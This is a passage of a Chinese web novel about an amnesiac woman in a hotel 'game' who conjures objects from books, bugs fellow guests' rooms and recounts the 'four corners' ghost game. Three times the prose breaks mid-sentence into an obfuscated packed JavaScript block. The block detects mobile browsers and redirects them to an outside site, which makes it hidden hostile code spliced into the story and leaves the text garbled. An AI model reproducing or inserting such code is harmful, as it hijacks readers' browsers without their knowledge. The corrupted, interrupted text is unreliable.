我本能地大口大口呼吸着,以缓解过于激烈的心跳。胸口因此剧烈起伏,眼前也不断闪过雪花似的白斑。 终于从噩梦余韵中回过神时,我才发现,自己刚才竟是直挺挺地从床上坐了起来。 见过僵尸片里的起尸吗?它什么样我什么样。 背后的布料已经全被冷汗浸湿了,难受得紧。但我根本顾不上去操心自己没有换洗衣物这回事,一骨碌爬下床去找书。 “书……书……” 找到了! 我最先抓到手里的是一本遍体通红的书,很有悬疑推理小说的色彩。虽然封面用黑白二色画着两个厨师,但我当然不会傻乎乎地认为这是本菜谱。 因为他们各自拿着长柄汤勺伸进同一口锅中,一张脸密不透风地紧挨着另一张脸,面对面亲热地呲着大牙,笑得各怀鬼胎。 所以怎么会有人把它认成菜谱?更像悬疑小说了。 两人唯一不同之处在于,左边的厨师背在身后的那只手拿着刀,右边的厨师身后的手拿着酱油瓶状的东西。 但酱油瓶上怎么会挂着标签?我猜那其实是一瓶毒药。 因为这本书的名字叫—— "《MordZwischenMesser&Gabel》,AndreaC.Busch,2012.(《刀叉间的谋杀》,安德烈亚C·布施,2012。)" 一阵红光涌现,书在我手上蓦地消失了。 7. 谁在撒谎(1) “早上好啊,亲爱的。你的脸色怎么看上去不太好?” 出乎意料,这是响晴薄日的一天。 出门之前,我拉开猩红色窗帘,又拨开一层纱帘,向外看了一眼—— 灿烂阳光穿透厚厚的灰黑云层,在稀薄雾气中投下道道光柱,居高临下,空无一人的街道和触目惊心的断壁残垣尽收眼底。 除此之外,半个人影也没瞧见。 单看景色的话,还有种残酷的美,对吧? 一说起学名可不陌生,我们通常管这一现象叫“丁达尔效应”。 细想之下,又觉得诡异非常——灭顶似的压城黑云,和这样强烈的、往往代表着希望的阳光,竟然能够同时存在。 然而游戏中就是这样,一切皆有可能。 中国有句古诗,叫“山雨欲来风满楼”,谁说现在不正是千钧一发之际呢? 越是平静,我的心就越不平静。 早上八点,我准时来到餐厅,在那儿见着了伊丽莎白。 她不仅神清气爽,还很关切地询问我的睡眠质量,一改昨天那副好为人师的拽样子。 “托您的福,虽然做了些噩梦,睡得断断续续的,但多少也算是休息了。” 我口渴得厉害,急于脱身去喝杯牛奶,打算敷衍两句就走。不过即便如此,我还是眼尖地瞧见了她眼下的淡淡青黑。 我当然没有忘记那则新闻说了什么,非常谨慎地斟酌着自己的回答,“您休息得如何?” “噢,我也是,频频做梦,睡眠质量不佳呢。” 做梦当然就代表睡着了,没有患上失眠症,不管好梦坏梦,伊丽莎白的答案同样无懈可击,“虽然是噩梦。” 经过昨晚那一遭,我惊醒后就没再睡过,真的渴得不行了。 我挥挥手表示暂别,想要将这番寒暄终止在这里,谁知T恤衫的短袖却被一把扯住。 伊丽莎白神神秘秘凑上来,“你不好奇我做了什么梦么?” 我真不是那么无聊的人,连别人做了什么梦都要听一耳朵…… “听听看嘛。”伊丽莎白见我没反应,凑得更近了些—— 我险些没控制住往自己鼻子上捂的双手。 那气味瞬间冲进鼻子直接攻击大脑,我恍惚了片刻,眼前立刻开始眩晕。 呕——她身上怎么有股臭鸡蛋味? 还是说……那其实是老人味?昨天她喷了好闻的香水,是甜甜的梨子和茉莉味。而今天她恰巧忘记喷了,所以…… 不不不,伊丽莎白这么讲究,理论上来说不可能会有异味,而且身子骨看着也挺硬朗的。 我甚至一度怀疑那是我的错觉,但那股气味就是顺着她凑近前来的趋势,一个劲冲刷着我的鼻腔——我好想打喷嚏,从肺里排出这股恶气,却又碍于社交礼仪不得不忍着,可能脸都忍得扭曲了。 唉,我真服了,我快渴死了,放我去喝水好吗?! 当然,这番话我也只敢默默在心里吐槽一下。既然她都这么说了,肯定是希望我顺着她的话问下去,好让她展开一番长篇大论。 “好吧,女士。”我不动声色地屏紧呼吸,一咽唾沫,舔了舔干燥起皮的嘴唇,颇为无奈,“您做了什么梦呢?” “噢,一些关于我年轻时候的事。仔细想想,那些日子可真是黑暗,而我竟然窝囊地忍了这么久,现在回想起来,真叫人吃惊和愤怒。” 谈起过往,伊丽莎白保养得当的皮肤也少不了折出些脆弱的薄壑,眉心紧紧拧着,鼻梁处投下一片阴影,一副正竭力克制着怒火的样子。 不过很快,这些褶子又舒展开来,伊丽莎白眉宇间甚至露出有些自得的神情,与一秒前的那个她判若两人。 “好在我已经克服了,须知一个人,最靠得住的还得是自己。他来一次,我就能——” "Goodmorning,MissSummer.(早上好,盛夏小姐。)" 我直觉伊丽莎白可能会说漏些什么,正专心听讲,注意力全集中在她身上,冷不防不知从哪个犄角旮旯钻出来一只手,十分自然地揽上我肩膀,将我向后带了两步,吓得我差点像跳蛛那样弹跳起来—— "Maybeyouneedabottleofmilk,doyou?(也许你需要一杯牛奶,对吗?)" 紧接着,一股堪称猛烈的草木香气骤然扑了我满头满脸: 青涩的,初生的,新发芽的,使人联想到折下黄绿色嫩芽后,断口处冒出乳白色汁液,放到舌尖一抿,满嘴苦涩——是春天特有的气息。 错过了就只能再等下一个春天,然而这逝去的却再也不会回来了,下一个也终究不是这一个。 它是独一无二的。 虽然很好闻,但——“阿嚏!” 我猛地打了个巨大的喷嚏,甚至被鼻腔里的痒意激出泪花。 喷太多也太刺鼻了吧! 余光中,伊丽莎白也皱着鼻子后退几步,满脸不赞同。 “DaisyGreen,你喷香水的手法真烂。东西是好东西,可也不能贪多贪足,你妈妈难道没有教过你如何喷香水么?” 黛西倒是一脸坦然,丝毫没有流露出自己身为女性却不懂得喷香水的羞愧。 她一面等我从打喷嚏的后劲中缓过神来——如果这丫头真这么有良心的话,一面从容不迫地回道: “我没有妈妈。” 一句话就令伊丽莎白骤然变色。 她嗫嚅着嘴唇,半晌才囫囵道:“我很抱歉……” 至于我……咳咳,现在笑出声,会不会太不合时宜? 这场面真是过于黑色幽默了。 黛西对她的道歉不置可否,只拿着那杯热牛奶,一个劲往我跟前递。 我嘀咕了一句“没下毒吧”,便咕嘟咕嘟灌了下去。 啊,真是久旱逢甘露,我的喉咙,我的嘴,终于得救了。 “下了。” 我一抬头,见黛西正含笑看着我,还不忘放马后炮,实在没忍住朝她翻白眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609667|172143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的冲动。 其实她也没有那么坏嘛。 而且今天穿得倒是挺日常,起码不会让伊丽莎白脸色那么难看—— 柔顺的金发扎成了一条温婉娴静的麻花辫,粗粗长长垂在脑后;脖子上系着小雏菊choker,柠檬黄的内搭长袖上衣,肥嘟嘟的泡泡袖更添几分甜美。 天蓝色吊带外裙上绣满了憨态可掬的猫咪和盛放的向日葵,腰间缝着一只大大的蓝白条纹蝴蝶结,起到了锦上添花的过渡作用;穿着蕾丝长袜的脚上,也套着玛丽珍小皮鞋…… 别以为你穿得这么可爱我就会给你好脸色看! 等等,再看一眼…… 我悄悄掀起眼皮,又朝黛西那边一扫—— 好吧,我不得不承认,她今天打扮得还是很漂亮。 撇去遮眼的超长刘海、古怪偏执的美瞳,以及上辈子可能救过她命的唇钉不谈,整个人简直精致得像一只昂贵的BJD娃娃。 当然,我是不会承认自己被美色所惑的。 看在她帮我倒牛奶的份上,我大发慈悲地告诉她:“香水不能整瓶整瓶地倒在身上,我教你。一种方法是朝面前的空气按几下泵头,然后自己扑进香雾里去,让周身都均匀地染上薄薄的一层;另一种方法则是喷一些在耳后、脖颈和手腕处,这些地方体温稍高,香水会慢慢挥发出来。就看你喜欢哪种了。” “谁说我不——” 不知为何,黛西本来下意识回怼的话,说了一半却堵在嘴边。她用一种我形容不出来的怪异表情,将我上上下下打量一番。 “干嘛?”我被她这眼神看得心底发毛。 小丫头片子肯定没安好心。 “你也想来点儿吗?”她了然一笑,“早说嘛,我这就回房去取……” 她根本就是迫不及待地拔腿往外走。 “不用了!” 真是够了,我明明在好心教她喷香水,怎么会被她曲解成看上了她的香水? 我还不至于跟小孩子抢东西用吧?! 再说了,香水能有多贵,我自己买不行吗,干嘛非要去蹭别人的用? "Whatareyoutalkingabout?(你们在说什么?)" 莫莉适时从身侧探出好奇的小脑袋。 "Justsomethingaboutperfume.(只是一些有关香水的事情。)" 哈哈,我真想快点结束这个话题,谁来都没用。 再跟黛西多说一句我就是狗!世界上怎么会有这么讨厌的人! “好吧。” 见我不愿多说,莫莉耸耸肩,径自去取了餐盘。 “因为噪音,我昨晚可是被惊醒了许多次,无论什么安神的香薰都无法使我入眠。” “哪儿来的噪音?”伊丽莎白随口接道。 “隔壁的。”莫莉一边给面包抹果酱,一边答。 要不是我看过那份资料,知道莫莉住在406房,我现在还真搞不懂她在影射谁。 8. 谁在撒谎(2) 这间酒店的构造有些独特,呈“回”字形——正中央是电梯和楼梯,所有的房间共同组成了外圈的正方形。 因此莫莉所在的406房并非被407和405包夹其中(事实上,也没有407这个房间,这层只有六间客房,外加一间洗衣房和一间餐厅:洗衣房的左邻右舍,是我的404和沃克的405;而餐厅则居于莱特的401和伊丽莎白的402之间),而是被沃克的405和莱特的401一左一右夹在中间。 我的房间与莫莉的房间隔着两条走廊和电梯楼梯遥遥相望,就算她是千里耳,电梯传进她耳朵眼里的动静,恐怕都比来自我房间的要大,所以她当然不可能是在指责我。 所以我仍旧不慌不忙挖了一勺蛋奶酥放入口中。 其实我本来不饿的,毕竟昨晚——不,凌晨,为了不浪费,硬塞得太多,现下只是有些口渴。 但坐在我对面的伊丽莎白今天破天荒地胃口大开,饿死鬼似的吃了一盘又一盘,甚至都没嚼几口就咽下去了——她的假牙如此锋利么? 我分明记得她昨天还不这样的,只用了一碗肉汤、喝了几杯茶就说自己饱了,今天却仿佛换了个人。 难道是因为昨天她刚刚到达,水土不服,所以食欲不振? 总之还真奇怪呢。 我看着她大快朵颐,自己也忍不住想坐下来再吃些东西,毕竟人生唯有美食与美景不可辜负。 在这么严峻的形势下,酒店竟然还能正常供餐,而且一丝不苟地做得这么丰盛,真是令人对厨师的敬业程度肃然起敬—— 开玩笑的啦,我当然知道这里是游戏,无论发生什么都不奇怪。 然而我的胃容量终究是有限,才吃了两盘,我就不得不停下了刀叉,感觉食物都快堆积到嗓子眼了。 但伊丽莎白竟然还没停,右手的餐叉一下一下飞快往嘴里送,吃得满嘴油光。要不是还有别人在场,我看她可能都要抛弃刀叉改用手抓了,毕竟她看起来再不吞进下一口就要饿死了。 啧,她自己都吃成这样,昨天怎么好意思嫌弃我的吃相? 我悄悄数了数她堆叠在一旁的空餐盘:一、二、三……竟然足足有十一个之多!真叫人吃惊! 我看我们当中食量最大的沃克和黛西恐怕都吃不了这么多,伊丽莎白却能独自一人扫荡这么多食物,老年人的消化系统竟强悍如斯,连我这个年轻人也不得不甘拜下风。 不过,伊丽莎白的新陈代谢好像的确异于常人——隔着餐桌,我一眼便瞧见,她的一头银发油腻腻的,糊成了不甚清晰的一团,好像很久没洗过,但明明昨天还干净清爽。 换成别人可能正常,但放在伊丽莎白这样一位每逢出门必擦口红、耳环与衣裙无一不经过精心挑选的小老太太身上,那就堪称反常了。 她怎么会允许自己不整洁地出现在别人面前呢? 正待再细看,那边沃克已率先回击了: "MsSwift,pleasedon''tmessaround.Iwenttobedveryearlylastnightandthequalityofmysleepwasnotbad.(斯威夫特女士,请你不要胡搅蛮缠,我昨晚很早就睡下了,而且睡眠质量还不赖。)" 说着,他卷起袖子,露出汗毛丛生的结实小臂,向我们展示了戴在他手上的最新款PineappleWatch:小小的方形屏幕上显示他昨晚十点之后心率就渐趋平静,应该是睡着了不假。 身侧的黛西转过来瞥了我一眼,却没作声,真是莫名其妙。 我也回击了她一眼,继续将注意力放在莫莉的调查推进上。 莫莉似乎相信了沃克的话,又将询问的目光投向同样住在她隔壁的莱特。 "Whatdoesthatlookinyoureyesmean?Ofcourseitcan''tbeme!(你这眼神是什么意思?当然也不可能是我!)" 莱特恶狠狠地把话从牙缝中挤出来,一副非常不耐烦的样子:“我累得要死,在睡美容觉!要么这是你的幻觉,要么噪音是从街上或楼上楼下传来的,反正跟我没关系!你这女人有胡乱攀咬的功夫,怎么不去——” “好了!” 我急忙喊道,及时打断了莱特说出更多伤人的话。 我讨厌别人吵架! “莫莉,你可以说说看,你昨晚都听到了什么吗?” 这下所有人的目光都理所当然地集中在我身上了,我也只好强行转移话题,避免无谓的争吵。 “我想想……” 莫莉沉吟片刻,旋即开口道:“先是啪、啪、啪,一下接一下的碰撞声,很清脆。半梦半醒间,好像过了一会儿,就是两个人的说话声,后来似乎吵起来了,愈演愈烈。我那时又困又烦躁,只听清了一句——‘他已经盯上我们了!你得趁早说清楚!你必须在我们中间做出选择!’” “这是女人的声音还是男人的声音?”我精神一振。 “它既尖利又高亢,隔着墙壁,我说不好,只是觉得有些熟悉罢了。” 莫莉迟疑地摇摇头,“但也许是男声也未可知呢。” “此话怎讲?” 她嫣然一笑,“我遇到的女人中,可从来没有这么歇斯底里地大吼大叫的。” 我一时没忍住,“哧”一声笑出来。 余光瞥见黛西也勾了勾唇角,而伊丽莎白总算放下了刀叉,正拿着帕子擦嘴,不明所以地望望这个又望望那个。 莱特的脸色臭得跟茅坑里的石头有得一拼,沃克倒是神色如常,叉起切成小块的香煎牛排,放进嘴里细细咀嚼。 这段小插曲很快便告一段落。餐后,我谎称自己还有些线上的工作要处理,告别众人后先一步回到了房间里。 抚着吃得圆溜溜的肚子,我叹了口气,步入内间。 整整齐齐地,桌子上铺开了所有我带来的书,各色封面一目了然。 我拿起一本灰色封面的书,上面用细细的黑线画出了一座心形迷宫,看起来像严肃文学会有的封面。 其实也不算撒谎,我的确有事要做。 得赶紧趁那两个人回房之前完成。 “『密会』,安部公房,2017。” 一串日语音节滚珠似的从我嘴里蹦出来。 我已经说过,自己的外语还不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609668|172143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 错吧? 拿到一本书就下意识地看着封面,依次念出它的书名、作者名和出版年份,这似乎是我的本能反应,应该是失忆之前就培养下来的习惯。 轻纱落下,灰色光芒转瞬即逝。 再睁眼,那本书已经无影无踪,取而代之的,是手心满满一把黑色小圆粒。 我捏起一颗举到眼前仔细端详——大小跟指甲盖差不了多少,通体塑料,黏在衣服上,不仔细看,还以为是一粒纽扣。 没想到真的成功了! 这下,我可就不愁没有窃听器可用了。 昨天从噩梦中惊醒后,我牢牢记住了那道声音的指示,马上去找我房间里的书。 我带来的行李中只有大堆大堆的书,而那条指示的每一个片段都提到了书,这绝不是巧合。 拿到的第一本是德语书。我目光一落于封面,大脑还没跟上,嘴巴便已经出于本能,逐字逐句念出了书名、作者名和出版年份—— 谁能想到这居然是一串咒语?! 甫一脱口,那本《刀叉间的谋杀》便化作一道红光,在我眼前凭空消失了! 更令人啧啧称奇的,是满满一桌凭空出现的珍馐佳肴,甚至还在散发着让人幸福到落泪的热气—— 山羊奶酪蔬菜沙拉、四鲜奶酪加番茄酱面糕、新奥尔良红豆粥、牛肉一锅煮、香菇炒莴笋、牡蛎蘑菇炖鸡肉…… 这些全是那本书里的菜肴,分别位于第31、61、83、99和122页,都是我刚才随手一翻之下匆匆瞥见的。 说来也怪,这本书只有封面是德语,内容全是中文,否则即使是我也无法在短短几秒内迅速记住所看到的几行字。 人对于母语的反应速度,总是比后天再习得的其它语言要快上许多。 我甚至揉了揉眼,整个人几乎趴到菜里,又嗅又戳,去确定这一桌子吃食的真实性,以此反复确认自己并非得了癔症。 看得再多都不如自己亲自去试,所以在裹着奶酪的面糕切切实实放进嘴里的一瞬间,可想而知我当时的心情该有多么震惊。 惊喜之下,我又翻了翻别的书,却发现再没有哪一本和这本一样,封面和内页各说各的语言。 看来只有这本是移植嫁接的。 所以……这就是这本书放在最上面的原因吗? 为了让我第一时间看到? 这是否暗示着什么?关乎我的……超能力? 怎么,我的故乡难道是哥谭市,或者杜王町吗? 我又拿起一本书,《矿物宝石大百科》——运气真好,随手就翻到了写着自然金的那页。 来做个小测试吧。 “《矿物宝石大百科》,松原聪、宫胁律郎、门马纲一,2024。” 我用中文念出这句话,同时闭上眼睛,竭力在脑海中描绘出刚刚在书中看过的自然金晶体图片。 然而时间一分一秒过去,手心沉甸甸的重量没变,光芒也没有出现。 我将左眼眼皮撑开一条缝,偷偷瞧了一眼,叹了口气。 看来,只能这么做了。 “『鉱物宝石大百科』,松原聡、宮脇律郎、門馬綱一,2024。” 9. 四角游戏 这次终于有用了! 唰—— 银光如流水般淌过,再睁眼,本该是那本厚重大百科的位置,正静静躺着一块多面体,形状并不规则,灿灿的金黄色无光自亮,漂亮极了。 小时候看过的古装剧里,凡收钱都要放牙上咬咬,金子柔软,很容易留下牙印。 所以我也下意识把它往牙口上送,举到半路,惊觉自己没有伊丽莎白那口不知出自哪个能工巧匠的假牙,还是算了吧,否则把真牙磕坏就得不偿失了。 看来如果想用某本书“变”出自己想要的东西,就必须使用该书的写作语言,依次念出书名、作者和版权页上的出版年份才行。 怪不得我一件衣服也没带——别说衣服,只要是书中有的,我都可以在顷刻之间拥有,这也太神奇了! 这能力有限制吗?比如说会消耗体力和脑力,或是隔几个小时才能用一次? 还有,变出来的东西功能都正常吗?是搬运真品,还是像3D打印那样做出来的赝品呢?持续时间有多长,过多久会消失呢? 我试着屈拳又张开,掌心纹路清晰,关节活动正常,并没有任何不适。 目光一错,触及桌上一盘盘勾得人馋虫大作的菜肴——算了,现在不是纠结这个的时候。 放凉就不好吃了。 我又找了几本书,为自己现做了几套宽松柔软的衣物。而后快速去洗了个澡,回来坐下。 开吃! 我的人生宗旨就是苦谁都不能苦了自己。 眼下是凌晨四五点,距离上一顿饭已经过了八九个小时,的确是吃夜宵的好时候。 我本想吃完后再去找一本写有窃听器的书,但这些菜作为一人食的话分量实在太大,我好不容易才吃了七七八八,抬头一看,竟然都过七点了! 这使我不禁有些汗颜。 加之没有汤也没有饮料,酱汁基本上不能当水喝,连吃仨小时,吃得我口干舌燥,只想痛痛快快喝上一气。 所以八点一到,我就赶紧跑到餐厅找喝的去,结果被伊丽莎白拉住好一顿聊。 要不是黛西及时出手,我说不定真得跟夸父一个下场(对不起,讲了个地狱笑话)。 这么说来,我还真得感谢她呢。 乔装打扮一番,我开门出去,往左手边走,沿着洗衣房一侧的走廊摸到405房门前,路上还从洗衣房顺了个小道具。 这一侧的走廊通常没人经过,听过那则新闻和酒店工作人员的劝告后(我相信不止我一个人给前台打过电话),大家都不敢擅自行动,没什么必要的情况下,多数时间都不会出门。 更何况,电梯和楼梯的出入口都朝东,与餐厅和伊丽莎白的房间隔着一条走廊,这边就更不可能有人活动了。 所以要问哪条路最能避人耳目,也就只有这条路了。 我先到达了405门前,这是沃克的房间。 昨晚我还在这里小小地迷路了一下,恰好碰上他回房,那种莫名的恐惧至今停留在我的心头。 经常住酒店的人都知道,房门后往往会贴着一张本楼层的平面图,上面会将房间所在位置和逃生通道标得清清楚楚,以便客人在火灾、地震等突发情况下及时逃生。 我房间里的那张平面图,我当然也是认真看过的,当时并没有什么特别的感觉。 但此时此刻,再次走到一角,我才猛然意识到一件事,整个人顿时如坠冰窖,周身一阵彻骨凉意—— 这层楼,简直就像为了玩四角游戏而专门设计的。 四角游戏,这是一款大名鼎鼎的灵异游戏。 顾名思义,要有四个人,以及一间有四个角的方形房间才能进行。 也许是为了增加恐怖程度,还特地规定在夜半时分进行,并且要将所有灯光都灭掉。 为方便叙述,按照行动开始顺序,我将参与游戏的四个人暂名为ABCD。 现在,他们将分别紧贴着四个墙角站着,面朝墙,绝不能回头。 OK,游戏开始。 啪!灯光灭了。 浓雾般的漆黑吞没了这四叶小舟。 A最初的位置在房间的左上角,便朝自己的右手边走去。 作为游戏开始的第一个人,他无疑会感到有些紧张。 伸手不见五指的房间里很安静,大家都被勒令不能说话,因此一片漆黑中只能听见A咯吱咯吱的皮鞋音。 不知过了多久,A终于摸索着触碰到了B的后背(在黑暗中走路想必不是件容易事),还给人吓一哆嗦。 他轻轻拍了一下B的肩膀,取代了B原本的位置。 现在A可以松一口气,轮到B上路了。 大家走的方向都是一致的,顺时针,因此B将从右上角向下移动,去找位于右下角的C,并取代她的位置。 B穿了双布鞋,沙沙沙,鞋底擦过地面的动静微乎其微。 足以吞噬一切的黑暗中,所有人都屏息凝神去捕捉这动静,大气也不敢出,生怕呼吸声干扰听觉。 C作为B的接班人,当然更加害怕。 不过她有个习惯,那就是数数,这能让她快速平静下来。 于是她在黑暗中默数着自己剧烈的心跳——一下、两下、三下…… 虽然不敢保证自己的心跳能始终保持在同一频率,但在没有钟表的情况下,聊胜于无。 在数到第五百零五下时,沙沙声终于停了。 与此同时,肩膀被轻轻拍了一下—— C登时汗毛倒竖,不由惊惶地缩了一下肩。 她只觉得那只手冰块似的,不像活人该有的温度,隔着薄薄的衣料,几乎能将她冻伤。 然而她自己的体温也高不到哪里去,手脚僵硬得厉害。 恐惧早将双腿冻得麻木,她就这样缓缓挪动着这样一双腿,像一只抗拒远航的船,拔了锚,战战兢兢上路了。 她怯于离开熟悉的角落。 游戏开始不过短短十多分钟,她却像故友在身边才能稍稍安定的社恐人士一样,非要挨着墙才能走得动道。 不过这也不能完全怪罪于她的过分胆小——这么黑,不扶着墙走,万一走偏了呢? 只有紧紧扶着墙才能给她一丝微妙的安心感,在失去五感中最可信的视力的情况下,这算是她在黑暗中唯一的安慰了。 被拉来参加游戏时,她正在体育馆跟人打羽毛球,脚上穿的是轻便的运动鞋,只要她愿意,完全可以放轻脚步,制造更大的恐慌。 但C深知,真正的恐慌并非大家所认为的脚步声消失,而是不合时宜的脚步声出现,所以也并未如何刻意收敛。 走路时,心跳声被脚步声所覆盖,听在耳中并不清晰,因此C只在开头胡乱数了几下,发现频率并不对后,也就放弃了。 如非牛顿流体般,黑暗中的时间也凝滞了。 她左手摸着墙壁一步步朝前,右手探路似的暴露在前方的虚无中,霍然碰上了什么东西—— 软的,热的,带着人类应该有的体温。 C的一颗心顿时落回了肚子里。 她敏锐地察觉到,略有些坚硬的部分在她指腹下微微一颤,这应该是D的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609669|172143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肩胛骨。 不过,D有这么矮么? 游戏开始前大家都是见过面的。她没戴眼镜,隐约只记得D是个很白净的男孩子,轮廓很是利落漂亮,个子非常高,就算她与D面对面站着,目光焦点也不过堪堪够到他那张看了叫人很想咬的嘴唇而已。 C不敢再往深处想,抬手在他肩上拍了拍,D就乖乖地前往房间左上角,也即A的出生点去了。 她赶忙上前面壁罚站。 D的脚步声一响,她就开始数自己从震颤中渐趋平缓的心跳。 一、二、三…… 四百九十九,脚步声终于停下。 有人在黑暗中轻轻咳嗽了一声,虽然不大,但足以让房间里的每个人都听见。 五秒后,脚步声再次响起。 按规定,走到没人的角落时,要先咳一下,示意自己已经到达终点(也可称作起点),停留五秒后再去找下一个人。 看来没什么事嘛,C缓缓吐出一口气。 至少到目前为止,一切都在游戏计划内。 商议各角落人选的时候,大家谁都不愿意当第一个和第四个出发的人。 尤其是第四个。 为此,游戏组织者还更换过好几轮人选。 C被拉来充数时,本来也不知道这是个类似于招魂的恐怖游戏,只听说按照指示走位就万事大吉,便懵懵懂懂地答应了。 要早知道这是个灵异游戏,她死都不会同意来参加的。 作为一名人文社科狂热爱好者,她对连科学也无法给出合理解释的神神鬼鬼,一向是心怀敬畏、敬而远之的。 老祖宗不是早就提醒过了嘛,“子不语:怪、力、乱、神。非不信也,敬鬼神而远之。” 冷静下来之后,C甚至有闲心在脑海中放歌给自己听。 她近来深深迷上了一首名为《Anyone》的歌,很有上个世纪九十年代的时代金曲味道。 就连B再来拍她肩膀,示意她往下一个墙角走,她也没有那么害怕了。摸索着墙,脚步都轻快许多。 站定后,她没忘记清清嗓,默数了五秒,才往D所在的右上角走去。 根据她的估算,从一个端点到达相邻的另一个端点,大约要走上五分钟。 所以每轮第四个出发的人需要走两段路,少说也要十分钟。 夜长梦多,谁知道这十分钟内会发生什么,所以大家都不愿意当第四个人。 但游戏也是公平的,四轮下来,每个人都会站一次左下角。因此大家约定,若四次咳嗽声后无事发生,便终止游戏。 C已经走过一回,自然可以放宽心。 "Could''vebeenanyone...(本可以是任何人……)" C用脚步声当节奏拍子,闲适地享受着子虚乌有的音乐,等着B再来拍自—— 嗯? 她猛然意识到一件事,正随音乐摆动的脖颈霎时一僵。 令人感到窒息的恐惧陡然如潮水般攫住了她。 安静得有些过分了。 咳嗽声……响过几回了? 既然没有再听见咳嗽声,就说明每一个角落都有人占据。 但、但是——已经超过十分钟了! 为什么,脚步声却还在回荡?! 哒、哒、哒…… 这到底是谁的脚步声? 是A的皮鞋、B的布鞋、D的马丁靴,还是……她自己的运动鞋?! 始终在走的那个人,是谁? 或者说,多出来的那个人,是谁? 10. 末日降临 专业道具在手,窃听就是小菜一碟了。 我用戴着手套的手拧了拧门把——果然是关得好好的,一点机会都不给。 恐怕得用万能房卡才能打开。我猜一楼前台那里说不定会有,但显然,我不可能现在就下去找。 没关系,既然我进不去,那就让沃克自己把窃听器带进去。 我取出一颗尺寸最小的窃听器(它几乎只有黄豆大小),将它底朝上摆放,浅浅埋进405房门前地毯的绒毛里。 地毯上有两处颜色稍重些,这说明通常沃克开门时,基本上都习惯站在这里。 我观察过他穿的皮鞋,鞋跟与前脚掌之间有一处凹陷,我需要确保窃听器一定会嵌在那儿。给沃克带来的异物感越轻,窃听器被发现的风险也越小。 由于405位于走廊尽头,与餐厅遥遥相望,所以,除非有人在沃克回来之前,心血来潮要从这条路去洗衣房,把沾上酱汁的衣服丢进洗衣机,否则除了沃克,没人会途径405门口,也就无需担心窃听器会跑到别人的鞋底去。 OK搞定,接下来轮到莱特了。 我吃力地推着刚才从洗衣房顺来的小道具,借道莫莉的406,径直朝401而去。 这玩意儿在地毯上其实并不难拖动,但它的重量可不容小觑呢。 亲临其境,我愈发坚信莫莉所言非虚。 昨晚她听到的吵架声,很有可能就是沃克和莱特两人中的一个,也即我要监视的目标,和他的情人发生了争执。 看过八点档肥皂剧没? “为所有爱执着的痛,为所有恨执着的伤,我已分不清爱与恨,是否就这样……” 虽然我不怎么看剧,但我记忆力很好。 像这类“你必须在我们之中做出选择”的话术,不就是小三逼着出轨人渣,在自己和原配之间做出选择嘛! 否则我还真想不出来,什么人必须得在苹果和香蕉之间做出选择——苹果脆,香蕉糯,喜欢就两个都吃嘛。 只有人类才会在荷尔蒙和性冲动的驱使下,产生一桩又一桩剪不断理还乱的情感纠葛。 至于第一句话,指的应该是原配有个强有力的倚仗,或是别的什么非常紧迫的理由,使得小三产生了危机感,迫不及待要上位—— 等等。 我忽然福至心灵。 如果……我是说,如果。 如果情况是这样的话,似乎一切都能说得通了—— 目标和他的情人,很可能已经知道原配请了私家侦探来调查他们。小三生怕被抓到把柄,对自己造成影响,所以急着让目标,哦不,人渣,做出抉择,赶紧扶持自己上位。 我们中国有一部家喻户晓的经典,叫《论语》,里面有句至理名言:“名不正则言不顺,言不顺则事不利。” 你看历史上有哪一场不义战争最后是有好下场的?那些想叛乱的头头都会先给自己编个合理借口,比如什么“勤王”啦,什么“清君侧”啦,一是避免引起上头怀疑,二是为了服众。 总之,有了正当由头才敢出兵。 情场如战场,放在眼下也同样适用。 小三有了名分,要对原配下手那还不容易?想想真是恶心得要命,我都替W感到委屈。 看不出来,这小三的职业还挺体面的呢,至少本人非常看重自己的社会名声。 让我想想……工程师、造型师、会计师、大学教授(虽然我知道基本没可能是伊丽莎白,但总不能厚此薄彼嘛,万一对方是个极其擅长伪装的人呢?)和学生。 虽然职业不分贵贱,但这些无疑都是大众的成见中比较“高大上”的职业啊? 就是私家侦探反而好像不那么受欢迎…… 囧,排来排去,结果把自己排出去了。 真尴尬,哈哈。 不过没关系,真正的盲点还在后面。 我留意到,莫莉在转述这句话时,用的是"HE"—— 其实为了方便沟通,每个人说的基本上都是英文(不过偶尔也会有飙家乡话的情况),但喉舌产生的空气波动在接触到我耳膜的一瞬间,会被自动翻译成中文。 这大概是游戏制作者专门为我打的中文补丁,给我省去了不少反应的时间呢。 但奇怪的是,别人每天跟我说的第一句话,听在我耳朵里还是英文,仿佛中文补丁没睡醒一样。 在一些代词使用规则十分严格的语言文化中,看似混淆之处,往往就是整件事情的关键所在。 